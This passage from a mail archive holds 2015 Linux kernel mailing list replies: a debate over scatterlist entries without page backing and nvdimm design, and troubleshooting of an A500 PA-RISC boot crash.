	=?iso-8859-1?Q?H=E5vard?= Skinnemoen <hskinnemoen@gmail.com>,
	linux-xtensa@linux-xtensa.org, grundler@parisc-linux.org,
	realmz6@gmail.com, alex.williamson@redhat.com,
	linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
	linux-parisc@vger.kernel.org, vgupta@synopsys.com,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-alpha@vger.kernel.org,
	Linux Media Mailing List <linux-media@vger.kernel.org>,
	li
To: Julian Calaby <julian.calaby@gmail.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Aug 13 16:35:40 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZPtbT-000180-Tp
	for lnx-linux-alpha@plane.gmane.org; Thu, 13 Aug 2015 16:35:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752728AbbHMOfc (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 13 Aug 2015 10:35:32 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:48764 "EHLO newverein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752244AbbHMOfb (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Thu, 13 Aug 2015 10:35:31 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id 69172691EB; Thu, 13 Aug 2015 16:35:28 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CAGRGNgUKkaPnyvn30DXyNpdiXQzS6J=1+mQ3ick8C8=bhx_RHA@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3319 gmane.linux.ports.mips.general:50013 gmane.linux.ports.ia64:25721 gmane.linux.ports.sparc:21434 gmane.linux.kernel.cross-arch:28890 gmane.linux.kernel.metag:628 gmane.linux.ports.parisc:25948 gmane.linux.kernel:2019680 gmane.linux.drivers.video-input-infrastructure:94013 gmane.linux.ports.ppc64.devel:116862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3319>

On Thu, Aug 13, 2015 at 09:37:37AM +1000, Julian Calaby wrote:
> I.e. ~90% of this patch set seems to be just mechanically dropping
> BUG_ON()s and converting open coded stuff to use accessor functions
> (which should be macros or get inlined, right?) - and the remaining
> bit is not flushing if we don't have a physical page somewhere.

Which is was 90%.  By lines changed most actually is the diffs for
the cache flushing.

> Would it make sense to split this patch set into a few bits: one to
> drop all the useless BUG_ON()s, one to convert all the open coded
> stuff to accessor functions, then another to do the actual page-less
> sg stuff?

Without the ifs the BUG_ON() actually are useful to assert we
never feed the sort of physical addresses we can't otherwise support,
so I don't think that part is doable.

A simple series to make more use of sg_phys and add sg_pfn might
still be useful, though.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: RFC: prepare for struct scatterlist entries without page
	backing
Date: Thu, 13 Aug 2015 16:40:36 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20150813144036.GB17375@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <55CB3F47.3000902@plexistor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1439476854 10805 80.91.229.3 (13 Aug 2015 14:40:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 14:40:54 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>, torvalds@linux-foundation.org,
	axboe@kernel.dk, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-nvdimm@ml01.01.org,
	dhowells@redhat.com, sparclinux@vger.kernel.org,
	egtvedt@samfundet.no, linux-arch@vger.kernel.org,
	linux-s390@vger.kernel.org, x86@kernel.org, dwmw2@infradead.org,
	hskinnemoen@gmail.com, linux-xtensa@linux-xtensa.org,
	grundler@parisc-linux.org, realmz6@gmail.com,
	alex.williamson@redhat.com, linux-metag@vger.kernel.org,
	monstr@monstr.eu, linux-parisc@vger.kernel.org,
	vgupta@synopsys.com, linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-media@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org
To: Boaz Harrosh <boaz@plexistor.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Aug 13 16:40:45 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1ZPtgQ-0005K1-OX
	for lnx-linux-alpha@plane.gmane.org; Thu, 13 Aug 2015 16:40:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752624AbbHMOkk (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 13 Aug 2015 10:40:40 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:48818 "EHLO newverein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752061AbbHMOkj (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Thu, 13 Aug 2015 10:40:39 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id B632D691EC; Thu, 13 Aug 2015 16:40:36 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <55CB3F47.3000902@plexistor.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3320 gmane.linux.ports.mips.general:50014 gmane.linux.ports.ia64:25722 gmane.linux.ports.sparc:21435 gmane.linux.kernel.cross-arch:28891 gmane.linux.kernel.metag:629 gmane.linux.ports.parisc:25949 gmane.linux.kernel:2019682 gmane.linux.drivers.video-input-infrastructure:94014 gmane.linux.ports.ppc64.devel:116863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3320>

On Wed, Aug 12, 2015 at 03:42:47PM +0300, Boaz Harrosh wrote:
> The support I have suggested and submitted for zone-less sections.
> (In my add_persistent_memory() patchset)
>
> Would work perfectly well and transparent for all such multimedia cases.
> (All hacks removed). In fact I have loaded pmem (with-pages) on a VRAM
> a few times and it is great easy fun. (I wanted to experiment with cached
> memory over a pcie)

And everyone agree that it was both buggy and incomplete.

Dan has done a respin of the page backed nvdimm work with most of
these comments addressed.

I have to say I hate both pfn-based I/O [1] and page backed nvdimms with
passion, so we're looking into the lesser evil with an open mind.

[1] not the SGL part posted here, which I think is quite sane.  The bio
    side is much worse, though.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 13 Aug 2015 18:42:29 +0300 (EEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1508131842090.25000@math.ut.ee>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <BLU436-SMTP2069A5FF25115ADFCC8A9B977D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439480541 9157 80.91.229.3 (13 Aug 2015 15:42:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 15:42:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 13 17:42:21 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPue0-0004Mr-7y
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Aug 2015 17:42:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752210AbbHMPmP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 11:42:15 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:46919 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751820AbbHMPmP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 11:42:15 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 58F3973E483;
	Thu, 13 Aug 2015 18:42:13 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id CD6512212A0; Thu, 13 Aug 2015 18:42:29 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id C441C221101;
	Thu, 13 Aug 2015 18:42:29 +0300 (EEST)
In-Reply-To: <BLU436-SMTP2069A5FF25115ADFCC8A9B977D0@phx.gbl>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25950>

> > serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28
> 
> There's something wrong here.

Yes, but this is the same for a working kernel.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 13 Aug 2015 18:42:48 +0300 (EEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1508131842320.25000@math.ut.ee>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439480555 9324 80.91.229.3 (13 Aug 2015 15:42:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 15:42:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 13 17:42:35 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPueI-0004Mr-8j
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Aug 2015 17:42:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752703AbbHMPme (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 11:42:34 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:36887 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752592AbbHMPmd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 11:42:33 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id D828190136;
	Thu, 13 Aug 2015 18:42:31 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 7659B2212A0; Thu, 13 Aug 2015 18:42:48 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 6EC26221101;
	Thu, 13 Aug 2015 18:42:48 +0300 (EEST)
In-Reply-To: <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25951>

> > Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
> > still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
> > it takes time.
> 
> This is probably a hpmc.  Could you look at SL event log?  It should show address of
> the hpmc.  Then, look at kernel image with objdump and search for address.  This should
> show where crash occurred and it might give a clue as to the cause.

How do I set filters for SL?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Boaz Harrosh <boaz@plexistor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: RFC: prepare for struct scatterlist entries without page backing
Date: Thu, 13 Aug 2015 18:42:32 +0300
Lines: 45
Approved: news@gmane.org
Message-ID: <55CCBAE8.8090502@plexistor.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <55CB3F47.3000902@plexistor.com> <20150813144036.GB17375@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439480575 9569 80.91.229.3 (13 Aug 2015 15:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 15:42:55 +0000 (UTC)
Cc: torvalds@linux-foundation.org, axboe@kernel.dk,
	linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
	linux-nvdimm@ml01.01.org, dhowells@redhat.com,
	sparclinux@vger.kernel.org, egtvedt@samfundet.no,
	linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
	x86@kernel.org, dwmw2@infradead.org, hskinnemoen@gmail.com,
	linux-xtensa@linux-xtensa.org, grundler@parisc-linux.org,
	realmz6@gmail.com, alex.williamson@redhat.com,
	linux-metag@vger.kernel.org, monstr@monstr.eu,
	linux-parisc@vger.kernel.org, vgupta@synopsys.com,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-media@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 13 17:42:46 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPueP-0004Mr-9T
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Aug 2015 17:42:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753220AbbHMPmk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 11:42:40 -0400
Original-Received: from mail-wi0-f174.google.com ([209.85.212.174]:38785 "EHLO
	mail-wi0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753227AbbHMPmi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 11:42:38 -0400
Original-Received: by wicja10 with SMTP id ja10so74928613wic.1
        for <linux-parisc@vger.kernel.org>; Thu, 13 Aug 2015 08:42:37 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:message-id:date:from:user-agent:mime-version:to
         :cc:subject:references:in-reply-to:content-type
         :content-transfer-encoding;
        bh=m9gcfP4dp1xOog9x2USAAxdZhlysz6tbfMKLTeiRkh4=;
        b=V7t4UuAj8IP8AXH2BguPWH6uXL28p5NO8U8Xiz5suzcIHqZqQuqezfyDU1JnP44t0U
         dENfDKNn29v79lrfhPqi9Ru++T6WhkMreMZDLlc8YAzKQqRhXd62Y8N69pUgJkBVITh2
         vKkjCvRjEkotLPU3VvEWL8FTc+j4MquU4Ep9wuLh9p3pGA5oqRCzajY3rzFX4xj/8Jkm
         nnaIFWkIv20novLBlg9N8HvyvH48fce16nuIJfTcoKPgtMLDPfMyPylHwCYY9eviD6Vy
         ioiu2XxNsUi4CwfuLw7jr6/76Ai70ysQxClIkmhKlHPPieFmbprZxNGmmwDU4vt9R9iS
         675Q==
X-Gm-Message-State: ALoCoQmO4dqBiZeer90ymt4huKA3XYLCBez/JwP6FLcMLBEsP+bk7GwO4bt35eLCXdkWeKddvGD3
X-Received: by 10.180.11.194 with SMTP id s2mr7546328wib.33.1439480555502;
        Thu, 13 Aug 2015 08:42:35 -0700 (PDT)
Original-Received: from [10.0.0.5] ([207.232.55.62])
        by smtp.googlemail.com with ESMTPSA id cd16sm3943488wib.19.2015.08.13.08.42.32
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 13 Aug 2015 08:42:34 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20150813144036.GB17375@lst.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25952 gmane.linux.ports.mips.general:50023 gmane.linux.ports.ia64:25731 gmane.linux.ports.sparc:21444 gmane.linux.kernel.cross-arch:28892 gmane.linux.kernel.metag:630 gmane.linux.kernel:2019741 gmane.linux.ports.alpha:3329 gmane.linux.drivers.video-input-infrastructure:94016 gmane.linux.ports.ppc64.devel:116872
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25952>

On 08/13/2015 05:40 PM, Christoph Hellwig wrote:
> On Wed, Aug 12, 2015 at 03:42:47PM +0300, Boaz Harrosh wrote:
>> The support I have suggested and submitted for zone-less sections.
>> (In my add_persistent_memory() patchset)
>>
>> Would work perfectly well and transparent for all such multimedia cases.
>> (All hacks removed). In fact I have loaded pmem (with-pages) on a VRAM
>> a few times and it is great easy fun. (I wanted to experiment with cached
>> memory over a pcie)
> 
> And everyone agree that it was both buggy and incomplete.
> 

What? No one ever said anything about bugs. Is the first ever I hear of it.
I was always in the notion that no one even tried it out.

I'm smoking these page-full nvidimms for more than a year. With RDMA to
pears and swap out to disks. So is not that bad I would say

> Dan has done a respin of the page backed nvdimm work with most of
> these comments addressed.
> 

I would love some comments. All I got so far is silence. (And I do not
like Dan's patches comments will come next week)

> I have to say I hate both pfn-based I/O [1] and page backed nvdimms with
> passion, so we're looking into the lesser evil with an open mind.
> 
> [1] not the SGL part posted here, which I think is quite sane.  The bio
>     side is much worse, though.
> 

What can I say. I like the page-backed nvdimms. And the long term for me
is 2M pages. I hope we can sit one day soon and you explain to me whats
evil about it. I would really really like to understand

Thanks though
Boaz

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 13 Aug 2015 12:49:33 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <BLU437-SMTP107752801B5ED5648487FED977D0@phx.gbl>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl>
 <alpine.LRH.2.20.1508131842320.25000@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439484593 13527 80.91.229.3 (13 Aug 2015 16:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 16:49:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 13 18:49:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZPvhF-0003uq-1K
	for glpp-linux-parisc@plane.gmane.org; Thu, 13 Aug 2015 18:49:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753406AbbHMQtj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Aug 2015 12:49:39 -0400
Original-Received: from blu004-omc4s34.hotmail.com ([65.55.111.173]:62599 "EHLO
	BLU004-OMC4S34.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752877AbbHMQti (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Aug 2015 12:49:38 -0400
Original-Received: from BLU437-SMTP107 ([65.55.111.136]) by BLU004-OMC4S34.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Thu, 13 Aug 2015 09:49:37 -0700
X-TMN: [AwXnmIjFPr0LtRKY7FHszNvwI9hEwlU/]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.20.1508131842320.25000@math.ut.ee>
X-OriginalArrivalTime: 13 Aug 2015 16:49:36.0410 (UTC) FILETIME=[099C1FA0:01D0D5E8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25953>

On 2015-08-13 11:42 AM, Meelis Roos wrote:
>>> Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is
>>> still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but
>>> it takes time.
>> This is probably a hpmc.  Could you look at SL event log?  It should show address of
>> the hpmc.  Then, look at kernel image with objdump and search for address.  This should
>> show where crash occurred and it might give a clue as to the cause.
> How do I set filters for SL?
>
I think you need to entry an "E" for event log and just select default 
for filters.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Calaby <julian.calaby@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: RFC: prepare for struct scatterlist entries without page backing
Date: Fri, 14 Aug 2015 09:40:30 +1000
Lines: 41
Approved: news@gmane.org
Message-ID: <CAGRGNgWXO9fYSf5YxPM9atSCmUdHB_WDB=n8zd=7eWK1GaJU4A@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <55CB3F47.3000902@plexistor.com>
 <CAGRGNgUKkaPnyvn30DXyNpdiXQzS6J=1+mQ3ick8C8=bhx_RHA@mail.gmail.com> <20150813143528.GC17183@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439509263 15857 80.91.229.3 (13 Aug 2015 23:41:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 13 Aug 2015 23:41:03 +0000 (UTC)
Cc: Boaz Harrosh <boaz@plexistor.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	axboe@kernel.dk, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-nvdimm@ml01.01.org,
	David Howells <dhowells@redhat.com>,
	sparclinux <sparclinux@vger.kernel.org>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
	x86@kernel.org, David Woodhouse <dwmw2@infradead.org>,
	=?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
	linux-xtensa@linux-xtensa.org, grundler@parisc-linux.org,
	Miao Steven <realmz6@gmail.com>, alex.williamson@redhat.com,
	linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
	linux-parisc@vger.kernel.org, vgupta@synopsys.com,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-alpha@vger.kernel.org,
	Linux Media Mailing List <linux-media@vger.kernel.org>,
	linuxppc-dev@lists.ozl
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Aug 14 01:40:55 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZQ27D-0005fz-0B
	for glka-linux-arch@plane.gmane.org; Fri, 14 Aug 2015 01:40:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753103AbbHMXkx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 13 Aug 2015 19:40:53 -0400
Original-Received: from mail-ig0-f177.google.com ([209.85.213.177]:36891 "EHLO
	mail-ig0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752212AbbHMXkv (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 13 Aug 2015 19:40:51 -0400
Original-Received: by igui7 with SMTP id i7so1768065igu.0;
        Thu, 13 Aug 2015 16:40:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=vTL2IXuqnqLA++USP56jW/7pYah8VewfUDyHdNH/oDQ=;
